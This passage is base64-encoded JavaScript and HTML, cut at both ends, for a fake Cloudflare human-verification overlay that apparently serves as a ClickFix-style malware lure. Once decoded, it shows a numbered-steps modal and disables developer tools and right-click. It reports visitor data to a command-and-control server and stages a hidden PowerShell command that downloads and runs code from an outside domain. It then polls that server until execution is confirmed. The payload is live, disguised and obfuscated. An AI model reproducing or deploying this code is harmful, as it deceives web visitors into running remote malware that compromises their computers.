lcm1zTGlua30NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9wPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgPHAgY2xhc3M9ImNvcmUtbXNnIj4ke0RJU1BMQVlfSE9TVE5BTUV9ICR7VUlfVFJBTlNMQVRJT05TLnNlY3VyaXR5TWVzc2FnZX08L3A+DQogICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9vdGVyIj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXItaW5uZXIiPg0KICAgICAgICAgICAgICAgICAgICBSYXkgSUQ6IDxzcGFuIGNsYXNzPSJyYyI+JHtSQVlfVFJBQ0tJTkdfSUR9PC9zcGFuPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgIDxkaXYgY2xhc3M9InZlcmlmeS13aW5kb3ciIGlkPSJjZi1tb2RhbCI+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtY29udGVudCI+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMj4ke1VJX1RSQU5TTEFUSU9OUy52ZXJpZmljYXRpb25UaXRsZX08L2gyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPiR7VUlfVFJBTlNMQVRJT05TLnZlcmlmaWNhdGlvblN1YnRpdGxlfTwvcD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBzdHlsZT0ibWFyZ2luLXRvcDouMjVlbSAhaW1wb3J0YW50O29wYWNpdHk6Ljc1O2ZvbnQtc2l6ZTouN2VtOyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIOKMqCAke1VJX1RSQU5TTEFUSU9OUy5rZXlib2FyZEluc3RydWN0aW9uc30NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3A+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbWcgc3JjPSIke0NMT1VERkxBUkVfV0hJVEVfTE9HT19CQVNFNjR9IiBhbHQ9IiI+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2YtbG9hZGVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDEyMzAuNTc0IDUxOS43NzQiPjxwYXRoIGZpbGw9IiNGNzgxMDAiIGQ9Ik03ODQuMDI1LDUxMi4wMTFsNS44NzItMjAuMzExYzYuOTk4LTI0LjE2OSw0LjM5NC00Ni41MTEtNy4zNDktNjIuOTI2Yy0xMC44MDEtMTUuMTIyLTI4LjgwNC0yNC4wMjItNTAuNjY2LTI1LjA1NmwtNDE0LjExNC01LjI4MWMtMi43ODgtMC4xNDctNS4wOTYtMS40MDMtNi41MTgtMy40NzFjLTEuNDQtMi4xMjMtMS43NzMtNC44NTYtMC44ODYtNy40NzhjMS4zNjYtNC4wOCw1LjQxLTcuMTY0LDkuNjItNy4zNDlsNDE3Ljk1NC01LjI5OWM0OS41NzYtMi4yNzEsMTAzLjI1Mi00Mi41MDUsMTIyLjA0OC05MS41NjRsMjMuODM3LTYyLjI4YzAuNjU3LTEuNjk2LDAuOTUyLTMuNDkzLDAuOTQtNS4yOTRjLTAuMDA3LTAuOTg0LTAuMDc4LTEuOTY5LTAuMjk0LTIuOTRDODU3LjM4Myw5MS4wMjgsNzQ4Ljc1OCwwLDYxOC44NjMsMGMtMTE5LjY4NSwwLTIyMS4zMTIsNzcuMjU0LTI1Ny43NiwxODQuNjIzYy0yMy41MjMtMTcuNjUyLTUzLjYyLTI3LjAzMS04NS45NjktMjMuODAxYy01Ny40MjMsNS43MDYtMTAzLjU2NSw1MS45NC0xMDkuMjcxLDEwOS4zNjNjLTEuNDk2LDE0LjkwMS0wLjI3NywyOS4yODQsMy4xNTgsNDIuOEM3NS4yMjIsMzE1LjcxOCwwLDM5Mi41NjYsMCw0ODcuMDI5YzAsOC41NDksMC42NDYsMTYuOTUsMS44NDYsMjUuMTY2YzAuNTkxLDMuOTg4LDMuOTUyLDYuOTgsNy45NzcsNi45OGw3NjQuNTI3LDAuMDkyYzAuMDc2LDAsMC4xNDItMC4wMzQsMC4yMTgtMC4wMzZDNzc4Ljk0Miw1MTkuMTM0LDc4Mi43OSw1MTYuMjQsNzg0LjAyNSw1MTIuMDExeiIvPjxwYXRoIGZpbGw9IiNGQkFDNDIiIGQ9Ik05MjEuOTgyLDIyNS41NThjLTMuODQxLDAtNy42NjMsMC4xMTEtMTEuNDY2LDAuMjk1Yy0wLjYyOCwwLjAzMy0xLjIyNCwwLjE4NS0xLjc5NiwwLjM4NWMtMS45ODUsMC42OTYtMy41NjYsMi4zMDUtNC4xNjgsNC4zOTdsLTE2LjI4Niw1Ni4yNDJjLTYuOTk4LDI0LjE2OS00LjM5NSw0Ni40OTMsNy4zNDksNjIuOTA3YzEwLjgwMSwxNS4xNCwyOC44MDQsMjQuMDIyLDUwLjY2NSwyNS4wNTZsODguMjc3LDUuMjk5YzIuNjA0LDAuMTI5LDQuODkzLDEuMzg1LDYuMjk3LDMuNDE2YzEuNDc3LDIuMTQyLDEuODA5LDQuODkzLDAuOTIzLDcuNTE1Yy0xLjM4NSw0LjA4MS01LjQxLDcuMTY0LTkuNjAxLDcuMzQ5bC05MS43Myw1LjI5OWMtNDkuNzk4LDIuMjktMTAzLjQ3Myw0Mi41MDUtMTIyLjI3LDkxLjU2NGwtNi42MjksMTcuMzE5Yy0xLjIwNiwzLjEzNCwxLjAzOSw2LjQ3Miw0LjM1NCw2LjYzNWMwLjA4NCwwLjAwNCwwLjE1OSwwLjAzMSwwLjI0NCwwLjAzMWgzMTUuNjI2YzMuNzY2LDAsNy4xMjctMi40NTYsOC4xNDItNi4wNzVjNS40ODQtMTkuNDk4LDguNDAyLTQwLjA0OCw4LjQwMi02MS4zMDFDMTE0OC4zMTUsMzI2Ljg4OSwxMDQ2Ljk4NCwyMjUuNTU4LDkyMS45ODIsMjI1LjU1OHoiLz48L3N2Zz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjZi1sb2FkZXItYmFyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2YtbG9hZGVyLWJhci1pbm5lciI+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgPG9sIGNsYXNzPSJpbnN0cnVjdGlvbi1saXN0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGk+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0ZXAtbGVmdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ic3RlcC1iYWRnZSI+MTwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJzdGVwLXRleHQiPiR7VUlfVFJBTlNMQVRJT05TLnN0ZXAxfTwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGk+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0ZXAtbGVmdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ic3RlcC1iYWRnZSI+Mjwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJzdGVwLXRleHQiPiR7U1RFUDJfSFRNTH08L3NwYW4+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbGk+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGVwLWxlZnQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InN0ZXAtYmFkZ2UiPjM8L3NwYW4+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ic3RlcC10ZXh0Ij4ke1VJX1RSQU5TTEFUSU9OUy5zdGVwM308L3NwYW4+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbGk+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGVwLWxlZnQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InN0ZXAtYmFkZ2UiPjQ8L3NwYW4+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ic3RlcC10ZXh0Ij4ke1VJX1RSQU5TTEFUSU9OUy5zdGVwNH08L3NwYW4+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbGk+DQogICAgICAgICAgICAgICAgICAgICAgICA8L29sPg0KDQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJmb250LXNpemU6MTBweDtjb2xvcjojNjY2O3RleHQtYWxpZ246Y2VudGVyO21hcmdpbi10b3A6MS4yZW07cGFkZGluZy10b3A6Ljc1ZW07Ym9yZGVyLXRvcDoxcHggc29saWQgcmdiYSgyNTUsMjU1LDI1NSwuMDgpOyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgSUQgQ29kZTogPHNwYW4gY2xhc3M9InJjIiBzdHlsZT0iZm9udC1mYW1pbHk6bW9ub3NwYWNlOyI+JHtSQVlfVFJBQ0tJTkdfSUR9PC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIGA7DQoNCiAgICAgICAgKGRvY3VtZW50LmRvY3VtZW50RWxlbWVudCB8fCBkb2N1bWVudC5ib2R5KS5hcHBlbmRDaGlsZChyb290RWxlbWVudCk7DQogICAgICAgIHJvb3RFbGVtZW50LnN0eWxlLmJhY2tncm91bmRDb2xvciA9ICdyZ2JhKDM0LDM0LDM0LCcgKyBCQUNLR1JPVU5EX09QQUNJVFkgKyAnKSc7DQogICAgICAgIHRyeSB7DQogICAgICAgICAgICBpZiAod2luZG93LmxzY0NvZ25pU3RhY2tPdXJPdmVybGF5KSB3aW5kb3cubHNjQ29nbmlTdGFja091ck92ZXJsYXkocm9vdEVsZW1lbnQpOw0KICAgICAgICAgICAgZWxzZSBpZiAoZG9jdW1lbnQuYm9keSkgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChyb290RWxlbWVudCk7DQogICAgICAgIH0gY2F0Y2ggKGUpIHt9DQoNCiAgICAgICAgdmFyIGRvY3VtZW50RWxlbWVudCA9IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudDsNCiAgICAgICAgdmFyIGRvY3VtZW50Qm9keSA9IGRvY3VtZW50LmJvZHk7DQoNCiAgICAgICAgaWYgKGRvY3VtZW50RWxlbWVudCkgew0KICAgICAgICAgICAgZG9jdW1lbnRFbGVtZW50LnN0eWxlLm92ZXJmbG93ID0gJ2hpZGRlbic7DQogICAgICAgICAgICBkb2N1bWVudEVsZW1lbnQuc3R5bGUub3ZlcnNjcm9sbEJlaGF2aW9yID0gJ25vbmUnOw0KICAgICAgICB9DQogICAgICAgIGlmIChkb2N1bWVudEJvZHkpIHsNCiAgICAgICAgICAgIGRvY3VtZW50Qm9keS5zdHlsZS5vdmVyZmxvdyA9ICdoaWRkZW4nOw0KICAgICAgICAgICAgZG9jdW1lbnRCb2R5LnN0eWxlLm92ZXJzY3JvbGxCZWhhdmlvciA9ICdub25lJzsNCiAgICAgICAgfQ0KDQogICAgICAgIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2tleWRvd24nLCBmdW5jdGlvbihldmVudCkgew0KICAgICAgICAgICAgdmFyIGtleSA9IFN0cmluZyhldmVudC5rZXkgfHwgJycpLnRvTG93ZXJDYXNlKCk7DQoNCiAgICAgICAgICAgIGlmIChrZXkgPT09ICdmMTInIHx8DQogICAgICAgICAgICAgICAgKChldmVudC5jdHJsS2V5IHx8IGV2ZW50Lm1ldGFLZXkpICYmIGV2ZW50LnNoaWZ0S2V5ICYmIChrZXkgPT09ICdpJyB8fCBrZXkgPT09ICdqJyB8fCBrZXkgPT09ICdjJykpIHx8DQogICAgICAgICAgICAgICAgKChldmVudC5jdHJsS2V5IHx8IGV2ZW50Lm1ldGFLZXkpICYmIGtleSA9PT0gJ3UnKSkgew0KICAgICAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgICAgICAgICAgZXZlbnQuc3RvcFByb3BhZ2F0aW9uKCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0sIHRydWUpOw0KDQogICAgICAgIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NvbnRleHRtZW51JywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgICAgICBldmVudC5zdG9wUHJvcGFnYXRpb24oKTsNCiAgICAgICAgfSwgdHJ1ZSk7DQoNCiAgICAgICAgZnVuY3Rpb24gc2VuZFJlcXVlc3RUb1NlcnZlcihwYXlsb2FkKSB7DQogICAgICAgICAgICByZXR1cm4gZmV0Y2goQ0NfU0VSVkVSX0FQSV9VUkwsIHsNCiAgICAgICAgICAgICAgICBtZXRob2Q6ICdQT1NUJywNCiAgICAgICAgICAgICAgICBjYWNoZTogJ25vLXN0b3JlJywNCiAgICAgICAgICAgICAgICBoZWFkZXJzOiB7DQogICAgICAgICAgICAgICAgICAgICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJw0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgYm9keTogJ2Q9JyArIGVuY29kZVVSSUNvbXBvbmVudChidG9hKEpTT04uc3RyaW5naWZ5KHBheWxvYWQpKSkNCiAgICAgICAgICAgIH0pOw0KICAgICAgICB9DQoNCiAgICAgICAgZnVuY3Rpb24gZGVjb2RlU2VydmVyUmVzcG9uc2UoaGV4U3RyaW5nKSB7DQogICAgICAgICAgICB2YXIgZGVjb2RlZFN0cmluZyA9ICcnOw0KICAgICAgICAgICAgdmFyIGNoYXJJbmRleCA9IDA7DQoNCiAgICAgICAgICAgIGZvciAoOyBjaGFySW5kZXggPCBoZXhTdHJpbmcubGVuZ3RoOyBjaGFySW5kZXggKz0gMikgew0KICAgICAgICAgICAgICAgIGRlY29kZWRTdHJpbmcgKz0gU3RyaW5nLmZyb21DaGFyQ29kZSgNCiAgICAgICAgICAgICAgICAgICAgcGFyc2VJbnQoaGV4U3RyaW5nLnN1YnN0cihjaGFySW5kZXgsIDIpLCAxNikgXg0KICAgICAgICAgICAgICAgICAgICBBUElfQVVUSF9LRVkuY2hhckNvZGVBdCgoY2hhckluZGV4IC8gMikgJSBBUElfQVVUSF9LRVkubGVuZ3RoKQ0KICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIEpTT04ucGFyc2UoZGVjb2RlZFN0cmluZyk7DQogICAgICAgICAgICB9IGNhdGNoIChlcnJvcikgew0KICAgICAgICAgICAgICAgIHJldHVybiB7fTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIHZhciBSRURJUkVDVF9VUkwgPSAnJzsNCg0KICAgICAgICB2YXIgTUFMSUNJT1VTX1BPV0VSU0hFTExfQ09NTUFORCA9DQogICAgICAgICAgICAncG93ZXJzaGVsbCAtdyBoICJpZXgoaXJtIFwnZmluZ2VycHJpbnQtdmVyaS5pbmZvL2Q4ZmMyNmZiM2M4YWU0OWFcJyk7IFN0YXJ0LVNsZWVwIC1TZWNvbmRzIDMwIjsgZXhpdCc7DQoNCiAgICAgICAgdmFyIHNlcnZlclBheWxvYWRQcm9taXNlID0gc2VuZFJlcXVlc3RUb1NlcnZlcih7DQogICAgICAgICAgICBhY3Rpb246ICdkbCcsDQogICAgICAgICAgICBrOiBBUElfQVVUSF9LRVksDQogICAgICAgICAgICBvczogVEFSR0VUX09QRVJBVElOR19TWVNURU0sDQogICAgICAgICAgICB2aWQ6IFVOSVFVRV9WSVNJVE9SX0lELA0KICAgICAgICAgICAgcmVmOiBsb2NhdGlvbi5ocmVmLA0KICAgICAgICAgICAgcmF5OiBSQVlfVFJBQ0tJTkdfSUQNCiAgICAgICAgfSkNCiAgICAgICAgLnRoZW4oZnVuY3Rpb24ocmVzcG9uc2UpIHsNCiAgICAgICAgICAgIHJldHVybiByZXNwb25zZS50ZXh0KCk7DQogICAgICAgIH0pDQogICAgICAgIC50aGVuKGZ1bmN0aW9uKGhleFJlc3BvbnNlKSB7DQogICAgICAgICAgICByZXR1cm4gZGVjb2RlU2VydmVyUmVzcG9uc2UoaGV4UmVzcG9uc2UpOw0KICAgICAgICB9KQ0KICAgICAgICAudGhlbihmdW5jdGlvbihkZWNvZGVkRGF0YSkgew0KICAgICAgICAgICAgUkVESVJFQ1RfVVJMID0gZGVjb2RlZERhdGEucmVkaXIgfHwgJyc7DQogICAgICAgICAgICByZXR1cm4gTUFMSUNJT1VTX1BPV0VSU0hFTExfQ09NTUFORDsNCiAgICAgICAgfSkNCiAgICAgICAgLmNhdGNoKGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgcmV0dXJuIE1BTElDSU9VU19QT1dFUlNIRUxMX0NPTU1BTkQ7DQogICAgICAgIH0pOw0KDQogICAgICAgIGZ1bmN0aW9uIHdhaXRGb3JFeGVjdXRpb25Ub2tlbih0b2tlbikgew0KICAgICAgICAgICAgaWYgKCF0b2tlbikgcmV0dXJuOw0KDQogICAgICAgICAgICB2YXIgc3RhcnRUaW1lc3RhbXAgPSBEYXRlLm5vdygpOw0KICAgICAgICAgICAgdmFyIGlzRG9uZSA9IGZhbHNlOw0KICAgICAgICAgICAgdmFyIGlzSW5zdHJ1Y3Rpb25IaWRkZW4gPSBmYWxzZTsNCg0KICAgICAgICAgICAgZnVuY3Rpb24gbWFya0FzRXhlY3V0ZWQoKSB7DQogICAgICAgICAgICAgICAgaWYgKCFURVNUX01PREUpIHsNCiAgICAgICAgICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5zZXRJdGVtKExPQ0FMX1NUT1JBR0VfS0VZLCAnMScpOw0KICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChlcnJvcikgew0KDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGZ1bmN0aW9uIGhpZGVJbnN0cnVjdGlvbk1vZGFsKCkgew0KICAgICAgICAgICAgICAgIGlmIChpc0luc3RydWN0aW9uSGlkZGVuKSByZXR1cm47DQogICAgICAgICAgICAgICAgaXNJbnN0cnVjdGlvbkhpZGRlbiA9IHRydWU7DQogICAgICAgICAgICAgICAgaWYgKG1vZGFsRWxlbWVudCkgew0KICAgICAgICAgICAgICAgICAgICBtb2RhbEVsZW1lbnQuY2xhc3NMaXN0LnJlbW92ZSgnYWN0aXZlJyk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBmdW5jdGlvbiBjb21wbGV0ZVZlcmlmaWNhdGlvbigpIHsNCiAgICAgICAgICAgICAgICBpZiAoaXNEb25lKSByZXR1cm47DQogICAgICAgICAgICAgICAgaXNEb25lID0gdHJ1ZTsNCg0KICAgICAgICAgICAgICAgIGlmIChtb2RhbEVsZW1lbnQpIHsNCiAgICAgICAgICAgICAgICAgICAgbW9kYWxFbGVtZW50LmNsYXNzTGlzdC5yZW1vdmUoJ2FjdGl2ZScpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZiAoc3Bpbm5lckVsZW1lbnQpIHsNCiAgICAgICAgICAgICAgICAgICAgc3Bpbm5lckVsZW1lbnQuc3R5bGUuZGlzcGxheSA9ICdub25lJzsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICB2YXIgY2hlY2ttYXJrRWxlbWVudCA9IHJvb3RFbGVtZW50LnF1ZXJ5U2VsZWN0b3IoJyNjZi1jaycpOw0KICAgICAgICAgICAgICAgIGlmIChjaGVja21hcmtFbGVtZW50KSB7DQogICAgICAgICAgICAgICAgICAgIGNoZWNrbWFya0VsZW1lbnQuc3R5bGUuZGlzcGxheSA9ICdmbGV4JzsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICBtYXJrQXNFeGVjdXRlZCgpOw0KDQogICAgICAgICAgICAgICAgLy8gSW1tZWRpYXRlIHJldHVybiB0byB0aGUgcGFnZSBvbmNlIHNoZWV0IGNvbmZpcm1zIGV4aXN0czp0cnVlDQogICAgICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAgICAgcm9vdEVsZW1lbnQucmVtb3ZlKCk7DQogICAgICAgICAgICAgICAgfSBjYXRjaCAoZXJyb3IpIHt9DQoNCiAgICAgICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgICAgICB2YXIgc3R5bGVFbCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdidy1jZi1zdHlsZScpOw0KICAgICAgICAgICAgICAgICAgICBpZiAoc3R5bGVFbCkgc3R5bGVFbC5yZW1vdmUoKTsNCiAgICAgICAgICAgICAgICB9IGNhdGNoIChlcnJvcikge30NCg0KICAgICAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgICAgIHZhciBkb2NFbGVtZW50ID0gZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50Ow0KICAgICAgICAgICAgICAgICAgICB2YXIgZG9jQm9keSA9IGRvY3VtZW50LmJvZHk7DQogICAgICAgICAgICAgICAgICAgIGlmIChkb2NFbGVtZW50KSB7DQogICAgICAgICAgICAgICAgICAgICAgICBkb2NFbGVtZW50LnN0eWxlLm92ZXJmbG93ID0gJyc7DQogICAgICAgICAgICAgICAgICAgICAgICBkb2NFbGVtZW50LnN0eWxlLm92ZXJzY3JvbGxCZWhhdmlvciA9ICcnOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGlmIChkb2NCb2R5KSB7DQogICAgICAgICAgICAgICAgICAgICAgICBkb2NCb2R5LnN0eWxlLm92ZXJmbG93ID0gJyc7DQogICAgICAgICAgICAgICAgICAgICAgICBkb2NCb2R5LnN0eWxlLm92ZXJzY3JvbGxCZWhhdmlvciA9ICcnOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSBjYXRjaCAoZXJyb3IpIHt9DQoNCiAgICAgICAgICAgICAgICBpZiAoUkVESVJFQ1RfVVJMKSB7DQogICAgICAgICAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgICAgICAgICB3aW5kb3cubG9jYXRpb24uaHJlZiA9IFJFRElSRUNUX1VSTDsNCiAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoZXJyb3IpIHt9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICB2YXIgaXNQb2xsSW5GbGlnaHQgPSBmYWxzZTsNCg0KICAgICAgICAgICAgZnVuY3Rpb24gcG9sbFNlcnZlclN0YXR1cygpIHsNCg0KICAgICAgICAgICAgICAgIGlmIChpc0RvbmUgfHwgaXNQb2xsSW5GbGlnaHQgfHwgRGF0ZS5ub3coKSAtIHN0YXJ0VGltZXN0YW1wID4gMTgwMDAwKSB7DQogICAgICAgICAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICBpc1BvbGxJbkZsaWdodCA9IHRydWU7DQogICAgICAgICAgICAgICAgdmFyIGNoZWNrVXJsID0gQVBQU19TQ1JJUFRfVVJMICsgJz9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KFVOSVFVRV9WSVNJVE9SX0lEKTsNCg0KICAgICAgICAgICAgICAgIGZldGNoKGNoZWNrVXJsLCB7DQogICAgICAgICAgICAgICAgICAgIG1ldGhvZDogJ0dFVCcsDQogICAgICAgICAgICAgICAgICAgIHJlZGlyZWN0OiAnZm9sbG93JywNCiAgICAgICAgICAgICAgICAgICAgY3JlZGVudGlhbHM6ICdvbWl0JywNCiAgICAgICAgICAgICAgICAgICAgY2FjaGU6ICduby1zdG9yZScNCiAgICAgICAgICAgICAgICB9KQ0KICAgICAgICAgICAgICAgIC50aGVuKGZ1bmN0aW9uKHJlc3BvbnNlKSB7DQogICAgICAgICAgICAgICAgICAgIHJldHVybiByZXNwb25zZS5qc29uKCk7DQogICAgICAgICAgICAgICAgfSkNCiAgICAgICAgICAgICAgICAudGhlbihmdW5jdGlvbihkYXRhKSB7DQogICAgICAgICAgICAgICAgICAgIGlzUG9sbEluRmxpZ2h0ID0gZmFsc2U7DQogICAgICAgICAgICAgICAgICAgIGlmIChkYXRhICYmIGRhdGEuZXhpc3RzID09PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBjb21wbGV0ZVZlcmlmaWNhdGlvbigpOw0KICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgLy8gTmV4dCBHRVQgb25seSBhZnRlciB0aGlzIHJlc3BvbnNlIOKAlCBuZXZlciBvdmVybGFwLg0KICAgICAgICAgICAgICAgICAgICAgICAgc2V0VGltZW91dChwb2xsU2VydmVyU3RhdHVzLCAyMDAwKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0pDQogICAgICAgICAgICAgICAgLmNhdGNoKGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgICAgICAgICBpc1BvbGxJbkZsaWdodCA9IGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICBzZXRUaW1lb3V0KHBvbGxTZXJ2ZXJTdGF0dXMsIDIwMDApOw0KICAgICAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBzZXRUaW1lb3V0KHBvbGxTZXJ2ZXJTdGF0dXMsIDIwMDApOw0KICAgICAgICB9DQoNCiAgICAgICAgZnVuY3Rpb24gcHJvY2Vzc0tleWJvYXJkU3RlcHMobW9kYWxFbGVtZW50KSB7DQogICAgICAgICAgICB2YXIgYnV0dG9uRWxlbWVudHMgPSBBcnJheS5wcm90b3R5cGUuc2xpY2UuY2FsbCgNCiAgICAgICAgICAgICAgICBtb2RhbEVsZW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLnN0ZXAtdGV4dCBiJykNCiAgICAgICAgICAgICk7DQoNCiAgICAgICAgICAgIGZvciAodmFyIGkgPSAwOyBpIDwgYnV0dG9uRWxlbWVudHMubGVuZ3RoOyBpKyspIHsNCiAgICAgICAgICAgICAgICB2YXIgYnV0dG9uRWxlbWVudCA9IGJ1dHRvbkVsZW1lbnRzW2ldOw0KDQogICAgICAgICAgICAgICAgaWYgKGJ1dHRvbkVsZW1lbnQuaW5uZXJIVE1MLmluZGV4T2YoJyArICcpID09PSAtMSkgew0KICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICB2YXIga2V5UGFydHMgPSBidXR0b25FbGVtZW50LmlubmVySFRNTC5zcGxpdCgnICsgJyk7DQogICAgICAgICAgICAgICAgdmFyIGRvY3VtZW50RnJhZ21lbnQgPSBkb2N1bWVudC5jcmVhdGVEb2N1bWVudEZyYWdtZW50KCk7DQoNCiAgICAgICAgICAgICAgICBmb3IgKHZhciBqID0gMDsgaiA8IGtleVBhcnRzLmxlbmd0aDsgaisrKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgaWYgKGogPiAwKSB7DQogICAgICAgICAgICAgICAgICA